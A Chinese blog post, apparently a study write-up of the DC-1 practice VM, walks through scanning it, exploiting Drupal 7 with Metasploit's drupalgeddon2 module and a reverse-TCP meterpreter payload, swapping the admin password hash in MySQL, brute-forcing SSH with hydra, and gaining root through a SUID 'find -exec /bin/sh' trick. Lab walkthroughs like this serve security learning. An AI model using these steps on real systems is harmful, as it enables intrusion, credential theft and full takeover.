文章目錄
- 前言
- 一、環境準備
- 1.攻擊者:kali
- 2.靶機:DC-1
- 3.使用到的工具
- 二、實驗步驟
- 1、資訊收集、主機、埠探測
- 2、網站資訊收集,cms、web服務器、后臺編程語言、作業系統等
- 3、漏洞利用,獲取shell
- 4、資料庫滲透,破解管理員admin密碼
- 5、登錄web后臺管理網頁
- 6、ssh爆破登錄
- 7、提權root
- 總結
前言
記錄學習中,,,
一、環境準備
Vmware workstation
靶機和攻擊機放到同一虛擬網卡中,
1.攻擊者:kali
這個就不介紹了,,,
2.靶機:DC-1
主要安全隱患:使用存在安全漏洞的cms:drupal,使用默認80埠開啟了后臺管理界面,
開啟ssh服務,suid權限分配不合理,,,
3.使用到的工具
nmap:資訊收集
wappalyzer: 網站資訊檢測
msfconsole:漏洞利用、滲透攻擊,
hydra:暴力破解
二、實驗步驟
1、資訊收集、主機、埠探測
獲取DC-1的IP:192.168.183.140

埠掃描:開啟了ssh服務和http服務,也掃描出一些二級目錄,

2、網站資訊收集,cms、web服務器、后臺編程語言、作業系統等
訪問目標開放的web埠,發現cms是Drupal7,Drupal是開源的網站內容管理系統,已有漏洞,

3、漏洞利用,獲取shell
使用kali自帶的msf進行漏洞利用,
命令search drupal 7.x 查看7版本的漏洞利用模塊

1.呼叫漏洞模塊:use exploit/unix/webapp/drupal_drupalgeddon2
2.載入攻擊模塊:set payload php/meterpreter/reverse_tcp,使用TCP反彈鏈接
3.設定攻擊物件:set RHOSTS 192.168.183.140
4.開始攻擊:exploit
成功進入目標系統

利用python調出互動式shell界面,更加直觀,

查看var/www/目錄下檔案,獲取flag1,查看flag1.txt,提示組態檔,

尋找組態檔,查看web.config,暫時沒有可用資訊,

一番查看后在sites\default\settings.php中獲取flag2 ,

意外識訓,獲取疑似資料庫資訊,dbuser:R0ck3t

4、資料庫滲透,破解管理員admin密碼
查看到資料庫服務已開啟,

嘗試鏈接到資料庫,成功鏈接,

進入資料庫,查看一番,

information_schema是mysql的原生資料庫,查看drupaldb,發現users表,并在表中發現admin用戶資訊,

顯然若破解admin密碼,就能登錄web后臺管理網頁了,
破解密碼的方式:1.爆破 2.替換密碼加密內容 爆破太慢了,想辦法替換,
一番收索后了解到drupal加密資料庫密碼的腳本就放在/var/www下,
好家伙,退出資料庫,去/var/www,找到了password-hash.sh,

我們現在是已經進入到shell了對吧,那不就可以直接執行password-hash.sh生成一段hash密文了嘛,
怎么執行呢?
還記得第一步資訊收集到的網站資訊嗎 后端用的是php,嗯,php牛🍺,

生成hash密文,替換到資料庫中,


5、登錄web后臺管理網頁
利用上一步破解到的admin賬戶登錄web后臺管理網頁,獲取flag3

到此,思路就斷了,因為flag3啥提示也沒有,
但是,我知道怎么繼續下去,其實在獲取shell時我就知道flag4在哪了🤣,當然是為了文章順序才在此處提到,
滲透時有個思路:獲取shell后,這三個檔案必查看,
/etc/passwd、/etc/group、/etc/shadow,當然shadow檔案一般只有root能看,因為里面存放的是用戶密碼資訊,好,繼續,
6、ssh爆破登錄
在/etc/passwd 中發現flag4,它是個用戶,還有登錄權限,為啥能登錄?因為/bin/bash,此處不多說了,

好,既然flag4是用戶,那flag4大概率在其家目錄中,果不其然,

直接cat flag4.txt,竟然能查看,還以為只有flag4用戶有權限查看🤣,提示用同樣的方法獲取root目錄下的flag,

到此falg4已經獲取到了!
但是,flag4是可以登錄的,那就嘗試一下破解它的密碼,怎么利用呢,還記得用nmap掃描目標時發現其開啟了ssh服務嗎?這時就可以登錄ssh了,當然有的小伙伴可能在想前面獲取得admin用戶,dbuser用戶能不能登錄ssh? 好吧,不行,因為這兩個用戶時mysql用戶而非系統用戶,

破解flag4的密碼,這時可以使用爆破大哥hydra破解密碼,用戶名已經知道了,只需撰寫密碼字典即可,

成功獲取flag4的密碼,登錄,

7、提權root
提權就簡單了,直接找有root權限的命令字:find / -perm -4000 2>/dev/null

find 命令就有root權限,而fand可以拼接命令,
通過find /bin -exec “/bin/sh” \; 提權,

獲取final flag

總結
肝到這已經沒多余力氣說啥了😭,文中案例是在人家已經設計好的模式下滲透,長此以往,可能形成固定思維,當碰到變化時可能會蒙,所以記得多加思考,琢磨嘗試多種不同的方法思路,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301877.html
標籤:其他
